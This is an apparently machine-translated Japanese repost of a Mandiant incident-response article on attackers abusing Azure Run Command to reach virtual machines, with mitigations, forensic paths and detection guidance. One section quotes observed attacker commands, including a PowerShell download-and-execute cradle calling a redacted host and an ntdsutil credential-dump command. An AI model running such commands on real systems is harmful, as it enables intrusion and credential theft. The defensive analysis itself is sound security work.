ダミーのための Azure 実行コマンド

Mandiant の最近のブログ投稿では、マネージド サービス プロバイダー (MSP) を標的にして顧客のクラウド環境へのアクセスを取得するロシアの侵入活動の疑いについて詳しく説明しました。 Microsoft などの他の企業は、いくつかのクラウドおよびマネージド サービス プロバイダーの顧客に対して、 同様の標的型攻撃を観察しています。 これらの侵入の注目すべき手法の 1 つは、Azure Run Commands を使用して、マネージド ハイパーバイザーから MSP 顧客の基盤となる仮想マシンに横方向に移動することです。

この最新のブログ投稿は、Azure Run Commands を強調し、主にこの種のアクティビティによるリスクにさらされている仮想マシンの観点から、緩和、ハンティング、および検出のためのガイダンスを提供するための補足的な付録として提供されます。他のブログ投稿では、Azure のログとアクセス許可、およびこれらのソースから学べることに焦点を当てていますが、ここでは、仮想マシン自体の内部の証拠ソースから学べることにさらに焦点を当てます。

Azure から基になる仮想マシン (VM) にピボットするこの方法は、いくつかの理由で重要です。

  • Azure アカウントが侵害されると、システムが仮想レイヤーでセグメント化されている場合でも、基盤となる仮想マシンへのフル アクセスが許可される可能性があります。
  • Azure を介してコマンドを実行するということは、仮想レイヤーでの接続や承認について心配することなく、昇格された特権を実行するための簡単なルートがあることを意味します。

ほとんどの場合、攻撃者の最終的な目標は、ハイパーバイザーではなく、仮想レベルに関連しています。たとえば、攻撃者は、仮想システム内に存在する情報を盗んだり、データや個々のシステム自体を暗号化したりすることに関心がある可能性があります。ハイパーバイザー レベルの侵害により、攻撃者は多くのホスト レベルの検出および応答メカニズムを回避できる可能性がありますが、ミッションの目的を追求する攻撃者を特定する機会は依然としてあります。

Azure 実行コマンド

Azure Run Command 機能を使用すると、管理者は仮想マシン エージェントを利用して Azure Windows または Linux 仮想マシンでコマンドを実行できます。エージェントは、Azure Marketplace イメージからデプロイされた Windows および Linux 仮想マシンに既定でインストールされますが、無効にすることができます。

Azure Run Commands は、次の場所にある Microsoft Web サイトで詳しく説明されています。

Azure 管理者は、Azure Portal ユーザー インターフェイス、API、PowerShell、または Azure コマンド ライン インターフェイスを使用してそれらを実行できます。それぞれは次のように示されます。各オペレーティング システムには、仮想マシンでの任意のスクリプトの実行をサポートする個別のコマンド タイプがあります。

  • Windows では、 RunPowerShellScriptコマンドは、仮想マシン上で SYSTEM ユーザーとして PowerShell を実行します。
  • Linux では、 RunShellScriptコマンドは、root ユーザーとして仮想マシン上でシェル スクリプトを実行します。

これらのコマンド タイプは、Run Command 機能を使用する際に「command-id」パラメータを介して指定する必要があります。

Azure ポータル経由

図 1 は、Azure Portal Web コンソールを使用して Linux 仮想マシンに送信された 2 つのコマンド「w」と「whoami」を示しています。

Azure run commands towards a Linux host
図 1: Azure は Linux ホストに対してコマンドを実行します

Azure CLI 経由

管理者は、次の Azure CLI コマンドを使用して、PowerShell スクリプトを名前で実行できます。

az vm run-command invoke --command-id RunPowerShellScript --name winvm -g resourcegroup --scripts @myscript.ps1 --parameters "arg1=firstarg"

Azure CLI は、Linux VM の “RunShellScript” モジュールを使用した次の例のように、個々のコマンドも受け入れます。

az vm run-command invoke -g resourcegroup -n linuxvm --command-id RunShellScript --scripts "uname -a"

REST API 経由

Azure REST API の runCommand エンドポイントは、POST 要求本文で定義された必須パラメーターを使用して、次のような HTTP POST 要求を受け入れます。

https://management.azure.com/subscriptions/{subscriptionId}/re
sourceGroups/{resourceGroupName}/providers/Microsoft.Compute/v
irtualMachines/{vmName}/runCommand?api-version=2021-07-01

PowerShell コマンドレット経由

Azure PowerShell コマンドレットには、Azure Run Commands のコマンドも含まれています。 Connect-AzAccountコマンドを実行するか、 -Context パラメーターを使用して、適切な Azure コンテキストを提供する必要があることに注意してください。

Invoke-AzVMRunCommand -ResourceGroupName 'resourcegroup' -Name 'winvm' -CommandId 'RunPowerShellScript' -ScriptPath 'myscript.ps1'

Invoke-AzVMRunCommandは、”Message” フィールドにスクリプトの結果を含む PSRunCommandResult オブジェクトを返します。図 2 では、スクリプトが 1 つの whoami コマンドを実行したため、結果に「 nt authoritysystem 」が含まれています。

Azure は PowerShell 経由でコマンドを実行します
図 2: Azure は PowerShell 経由でコマンドを実行します

緩和策

実行コマンド アクセスの制限

Microsoft によって文書化されているように、コマンドの実行を実行するには、 Microsoft.Compute/virtualMachines/runCommand/権限が必要です。 Virtual Machine Contributor ロール以上のレベルには、このアクセス許可があります。 The Virtual Machine Contributor role has a capability to manage the virtual machines but are not allowed to access the virtual machine, storage account, and virtual network it exists.. 通常の Azure アクセス許可の監査を実行するか、このアクセス許可を持つユーザーの数を制限すると、 Run Commands を実行できるアカウントの攻撃面。

組織は、次の PowerShell コマンドを使用して、仮想マシンの共同作成者ロールまたはその他の高レベルのロールの監査を実行できます。

Get-AzureRmRoleAssignment | ? {$_.RoleDefinitionName -eq 'Virtual Machine Contributor'} | ft RoleDefinitionName, UserPrincipalName, DisplayName

主に Azure RunCommand の使用を許可するアクセス許可に関心があるため、次のスクリプトは、特定の RunCommand アクセス許可を含む、Azure 内で作成されたすべての組み込みロールおよびカスタム ロールをクエリします。

import sys

from azure.identity import DefaultAzureCredential

from azure.mgmt.authorization import AuthorizationManagementClient

 

if len(sys.argv) < 2:

    print("You need to supply the permission to search for")

    sys.exit(1)

 

credential = DefaultAzureCredential()

client = AuthorizationManagementClient(

    credential=credential,

    subscription_id="YOUR_SUBSCRIPTION_ID"

)

 

desired_action = sys.argv[1]

desired_action_lower = desired_action.lower()

desired_action_wildcard = "/".join(desired_action_lower.split("/")[:-1] + ["*"])

 

role_definitions = list(client.role_definitions.list(scope=""))

for role_def in client.role_definitions.list(scope=""):

    for permission in role_def.permissions:

        for action in permission.actions:

            if action.lower() == desired_action_lower or action.lower() == desired_action_wildcard:

                print(f"Role '{role_def.role_name}' contains {action}")

組織は、仮想マシンで実行コマンドを実行できるすべての役割を特定したら、前の PowerShell スクリプトを使用して、その権限を持つ個々のユーザーまたはグループを取得できます。 Mandiant は、Azure を使用して、この権限およびその他のリスクの高い権限について、定期的に権限を確認することをお勧めします。

コマンド実行権限用のカスタム ジャスト イン タイム (JIT) 管理ロールを作成する

リスクを軽減し、この潜在的な攻撃の攻撃面を減らすもう 1 つの方法は、仮想マシンで正規の実行コマンドのようなアクションを実行するために必要な実行コマンドのアクセス許可を含む Just-in-Time (JIT) 管理ロールを作成することです。このカスタム ロールを作成することで、ユーザーが仮想マシンで永続的な Run Command 機能を持つ必要がなくなります。

次のサンプル PowerShell スクリプトは、規定のサブスクリプションとリソース グループのカスタム JIT Run Command ロールを作成します (注: subscriptionidresourcegroupnameを目的の組織のサブスクリプションとリソース グループに置き換えます)。

$role = Get-AzRoleDefinition "Virtual Machine Contributor"

$role.Id = $null

$role.Name = "Run Command JIT Permissions"

$role.Description = "Can request JIT for Run Command actions on virtual machines."

$role.Actions.Clear()

$role.Actions.Add("Microsoft.Compute/virtualMachines/runCommand/*")

$role.AssignableScopes.Clear()

$role.AssignableScopes.Add("/subscriptions/{subscriptionid}/resourceGroups/{resourcegroupname}/")

New-AzRoleDefinition -Role $role

 

$scope="/subscriptions/{subscriptionid}/resourceGroups/{resourcegroupname}/"

New-AzRoleAssignment -ObjectId {AD Group Object Id}  -RoleDefinitionName "JIT Virtual Machine Run Command Role" -Scope $scope

カスタム JIT ロールが作成されたら、Mandiant は、新しく作成された Azure AD グループに JIT ロールを割り当て、Azure Privileged Identity Management (PIM) を使用して新しく作成されたグループへのアクセスを管理することをお勧めします。

VM エージェントの削除

この機能を軽減するために実行できる最も基本的なタスクは、基盤となる VM からエージェントを削除することですが、これは仮想マシンの管理方法に深刻な影響を与える可能性があります。

また、そうすることで、攻撃者がハイパーバイザー レベルにアクセスできなくなるわけではなく、他の手段でデータを盗んだり、ホストを侵害したりする可能性があることに注意することが重要です。

エージェントを削除すると、仮想マシンで使用されているこの機能を検出するために利用できる主な手段も削除されます。たとえば、攻撃者が Azure CLI からコマンドを実行した場合、適切な検出を行うことでこれを検出できます。ただし、攻撃者がシステムのスナップショットを作成した場合、これは検出されません。したがって、リスク分析を実行して、最善の進め方を決定することが重要です。エージェントを完全に削除すると、敵が悪用する潜在的なベクトルを排除できますが、攻撃者を視界から遠ざけることにもなります.

次の場所のリファレンスには、Windows および Linux エージェントを削除するためのコマンドが記載されています。

野生での悪意のある実行コマンドの使用

Mandiant は、インシデント対応調査を実施する際に、次のようなコマンドを直接観察しました。これらのコマンドはいくつかの異なるスクリプトで実行され、偵察から悪意のあるコードの実行、資格情報の収集まで、ほぼ完全な一連のアクティビティを示しています。

#Reconnaissance

Get-Process

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

(Get-Aduser -Filter *).Count

(Get-Aduser -Filter *)[500]

Get-MpComputerStatus

Get-AdDomainController -Discover

cmd /c whoami; ls C:

ls "C:Program Files"

Get-Process | Select -First 25

 

#Code Execution

C:Windowssyswow64windowspowershellv1.0powershell.exe -C "iex((New-Object system.net.webclient).downloadstring(<redacted>))"

Write-Host (New-Object System.Net.WebClient).DownloadString("http://<redacted>.com")

 

#Credential Harvesting

ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:Tempt' q q

前述の例からわかるように、Run Command の使用法は比較的新しいものかもしれませんが、実行されるコマンドは既知の攻撃者のテクニックと方法論を表しています。これは、疑わしいコマンドに対する従来の検出ロジックが引き続き有効であることを意味しますが、これらのメカニズムは、Run Command 機能を使用して実行されたコンテキストで強化できます。

検出とハンティング

フォレンジック アーティファクトとファイル パス

影響を受ける仮想マシンでの検出とハンティングは、フォレンジック アーティファクトとログの組み合わせを使用する必要があり、Windows と Linux 仮想マシンでは異なります。

Windows 仮想マシン

Windows では、RunPowerShellScript 機能を使用すると、ログ ポリシーに応じて関連する PowerShell ログが作成されます。そのため、これらのログまたはプロセスを利用する悪意のあるアクティビティに対して記述された一般的なルールは、通常どおりアラートを提供します。一般的な PowerShell ロギングに関するその他のリソースについては、Mandiant の投稿「 PowerShell ロギングによる優れた可視性」を参照してください。

ただし、デフォルトの Azure セットアップのテストでは、Azure アクティビティ ログは Run Command 機能が使用されたことを示しましたが、実行のために仮想マシンにプッシュされた実際のスクリプトの内容を記録しませんでした。これは、デフォルトで、スクリプト内で実行されたコマンドではなく、コマンドの実行アクションが実行されたことはログに表示されることを意味します。

Windows 仮想マシンでは、PowerShell スクリプトは次のディレクトリにダウンロードされます。<バージョン番号> はさまざまで、<ジョブ番号> は 0 から増加します。

C:PackagesPluginsMicrosoft.CPlat.Core.RunCommandWindows<version number>Downloadsscript<job number>.ps1.

ファイル script0.ps1 の内容
図 3: script0.ps1 ファイルの内容

Run Command ジョブの結果は、次のパス/命名規則でステータス ファイルに保存されます。

C:PackagesPluginsMicrosoft.CPlat.Core.RunCommandWindows<version number>Status<job number>.status.

run-commands からの出力ファイルを示すディレクトリ一覧
図 4: run-commands からの出力ファイルを示すディレクトリ リスト

図 5 は、スクリプトが正常に実行された場合のステータス ファイルの内容を示しています。さまざまなスクリプト出力が JSON 形式で記録されています。これらには、実行タイムスタンプなどの貴重な追加のフォレンジック情報があります。

「whoami」コマンドの出力とメタデータを示す標準ログ ファイルの内容
図 5: 「whoami」コマンドの出力とメタデータを示す標準ログ ファイルの内容

Linux 仮想マシン

Linux では、Azure Run Command はジョブごとに/var/lib/waagent/run-command/download/<job number>にディレクトリを作成します。各ジョブ ディレクトリには、script.sh、stderr、および stdout の 3 つのファイルが含まれます。

/var/lib/waagent/run-command/download ディレクトリの内容
図 6: /var/lib/waagent/run-command/download ディレクトリの内容

ファイル script.sh には、ホストで実行されるコマンドが含まれています。 stderr には標準エラーが含まれます。 stdout には結果が含まれます。

script.sh および stdout ファイルの内容
図 7: script.sh ファイルと stdout ファイルの内容

これらの出力ファイルには、Windows の対応するファイルよりもメタデータが少なくなりますが、追加の詳細が次の場所に記録されます: /var/log/azure/run-command/handler.log 。このログには、実行コマンドの実行日時などの基本的なメタデータが含まれますが、スクリプトの内容や結果は含まれません。

/var/log/azure/run-command/handler.log のサンプル コンテンツ
図 8: /var/log/azure/run-command/handler.log のサンプル コンテンツ

図 9 に示す抜粋のように、失敗したコマンドもこのファイルに記録されます。

/var/log/azure/run-command/handler.log のサンプル コンテンツ
図 9: /var/log/azure/run-command/handler.log のサンプル コンテンツ

プロセス異常の特定

Windows 仮想マシン

RunPowerShellScript アクティビティは、WindowsAzureGuestAgent.exe プロセスの下に非常に明確なプロセス ツリーを作成します。図 10 は、RunPowerShellScript を使用してwhoamiを実行した後に作成されたプロセスを示しています。

「whoami」の実行として WindowsAzureGuestAgent.exe の下のプロセス ツリーが実行されます。
図10:「whoami」を実行したときのWindowsAzureGuestAgent.exe配下のプロセスツリー

親子関係の検出により、エンジニアはコマンドを検出するルールを作成できます。コマンドは、それ自体では疑わしいものではありませんが、前述のプロセス ツリーを介して実行されることはめったにありません。たとえば、ほとんどの場合、 whoami.exeは一般的で無害ですが、 powershell -ExecutionPolicy Unrestricted -File script.ps1の子として起動された場合は疑わしいため、偵察の可能性があります。 WindowsAzureGuestAgent.exe の子プロセスとして見られる場合、ntdsutil.exeなどの一般的に悪意のある使用法を持つコマンドは、非常に懸念される必要があります。

組織内で RunPowerShellScript の使用が疑わしい場合は、WindowsAzureGuestAgent のサブプロセスを監視し、正当な管理アクティビティの必要に応じてコマンドをホワイトリストに登録できます。

プロセスの異常に加えて、Azure Run Commands によって使用されるディレクトリ内のファイルの作成/変更イベントを監視できます。監視ソリューションがこれらのイベントの完全なファイル コンテンツをログに記録する場合、実行されている実際のコマンドが表示され、悪意のあるコマンドや異常な使用法を確認することもできます。

Linux 仮想マシン

Linux では、次のようなコマンド ラインを探すことで、Azure 実行コマンドを検出できます。

nohup /var/lib/waagent/Microsoft.CPlat.Core.RunCommandLinux-1.0.2/bin/run-command-extension enable

さらに、親子関係を使用して、次の構文に従う親プロセス コマンド ラインを持つ疑わしいプロセスを探すことができます。

/bin/sh -c /var/lib/waagent/run-command/download/3/script.sh

Windows と同様に、ファイル監視ソリューションを使用して、 /var/lib/waagent/run-command/downloadディレクトリにファイルが作成されたときにアラートをトリガーし、可能であれば疑わしいコンテンツを照合できます。

Azure レベルの検出とハンティング

Azure ポータルでは、各 VM のアクティビティ ログに Azure Run Command の実行が記録されます。 Azure アクティビティ ログは、環境に応じて、Azure Sentinel インスタンス、Microsoft Defender Advanced Hunting、Log Analytics ワークスペース、または VM Azure ポータル ページ自体を含むがこれらに限定されない、さまざまな場所にあります。

以下は、Run Command アクションのアラートの例です。このログは、testvm (1) という名前の仮想マシンの「runCommand」が実行され、IP アドレス 127.0.0[.]1 (3) から user@contoso[.]com (2) アカウントを介して正常に実行されたことを示しています。

{

    "authorization": {

        "action": "Microsoft.Compute/virtualMachines/runCommand/",

    },

(2) "caller": "user@contoso.com",

    "claims": {

(3)     "ipaddr": "127.0.0.1"

},

    "category": {

        "value": "Administrative",

        "localizedValue": "Administrative"

    },

    "eventTimestamp": "2021-10-28T20:25:33.5505986Z",

    "operationName": {

        "value": "Microsoft.Compute/virtualMachines/runCommand/",

        "localizedValue": "Run Command on Virtual Machine"

    },

    "resourceProviderName": {

        "value": "Microsoft.Compute",

        "localizedValue": "Microsoft.Compute"

    },

    "resourceType": {

        "value": "Microsoft.Compute/virtualMachines",

        "localizedValue": "Microsoft.Compute/virtualMachines"

    },

(1) "resourceId": "/subscriptions/6d356a32-8ac0-4541-b958-3304b11b7447/resourceGroups/[resourcegroupname]/providers/Microsoft.Compute/virtualMachines/testvm",

    "status": {

        "value": "Succeeded",

        "localizedValue": "Succeeded"

    }

}

残念ながら、アクティビティ ログには、詳細な調査に必要な実行されたコマンドが含まれていません。とにかく、これらのログは、異常で疑わしいアクティビティを見つけるために、環境で予想される Run Command の使用のベースラインを作成するのに役立ちます。

このブログ投稿の目的は、特にこのアクティビティの仮想マシン側に焦点を当てることでした。Microsoft は、テナント内の疑わしい Azure Run Commands を探すための優れたガイダンスを既に提供しています。

結論

最近の投稿で示されているように、ハイパーバイザー レベルの侵害により、ホストされているシステムやアプリケーションを迅速かつ密かに悪用する多くの機会が攻撃者に与えられます。このブログ投稿では、そのような方法の 1 つである Azure Run Command が攻撃者によってどのように利用されているか、および防御側がその悪意のある使用を追跡、検出、軽減する方法について説明しました。

ハイパーバイザーの侵害により、ホストされているシステムとデータへの高レベルのアクセスが可能になります。これは、通常、侵入における攻撃者の主な目的です。この侵入手法の進化には、攻撃者に悪用される可能性がある組み込みのクラウド資産管理機能を完全に理解する必要があります。さらに重要なことに、この活動は環境内での異常な活動に対する包括的な可視性と警戒の必要性を強化します。

MITRE ATT&CK

Azure Run Commands を介してハイパーバイザーから仮想マシンへの相互作用を悪用すると、ATT&CK のすべての段階を含むライフサイクル全体の敵対的相互作用につながる可能性があります。ただし、観察された ATT&CK の戦術とテクニックには以下が含まれますが、これらに限定されません。

外部リモート サービスへの初期アクセス (T1133)

初期アクセスの有効なアカウント (T1078)

実行コマンドとスクリプト インタープリタ (T1059)

永続性外部リモート サービス (T1133)

永続的な有効なアカウント (T1078)

権限昇格の有効なアカウント (T1078)

防御回避 (TA0005)

謝辞

著者は、Alyssa Rahman と Matthew Dunwoody の貴重なフィードバックとテクニカル レビューに感謝します。

参照: https://www.mandiant.com/resources/blog/azure-run-command-dummies

コメント

タイトルとURLをコピーしました